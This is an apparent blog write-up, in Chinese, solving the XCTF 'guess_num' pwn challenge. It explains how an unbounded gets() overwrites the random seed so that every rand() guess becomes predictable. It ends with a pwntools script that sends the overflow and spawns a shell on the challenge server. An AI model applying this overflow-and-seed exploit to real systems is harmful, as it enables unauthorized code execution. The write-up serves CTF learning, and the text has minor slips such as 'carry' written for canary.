day-8 xctf-guess_num
阅读原文时间:2023年07月08日阅读:4

xctf-guess_num

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1

checksec文件:

开启了carry,不能进行栈溢出

用ida打开:

功能很简单,先输入你的name,进行十次输入,进行比较rand number,成功则调用sub_C3E(),也就是system函数

只需要控制随机数种子,就可以使输出可控。这里可以通过gets函数的输入覆盖种子seed

rand函数和srand函数相关知识:https://blog.csdn.net/qq_41199502/article/details/80726780

可以看到:var30和seed相差20

通过ldd查找libc共享库, 这里python需要用到c语言的标准动态库(https://www.cnblogs.com/yssjun/p/9960479.html

可以构造exp:

from pwn import *
from ctypes import *
context.log_level = 'debug'
#cnn = process('./guess_num')
cnn = remote("111.198.29.45","51398")
elf = ELF('./guess_num')

libc = elf.libc

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 0x20*'a' + p64(1)
cnn.recvuntil('name:')
cnn.sendline(payload)
libc.srand(1)
for i in range(10):
cnn.sendlineafter('number:',str(libc.rand()%6+1))
cnn.interactive()

exp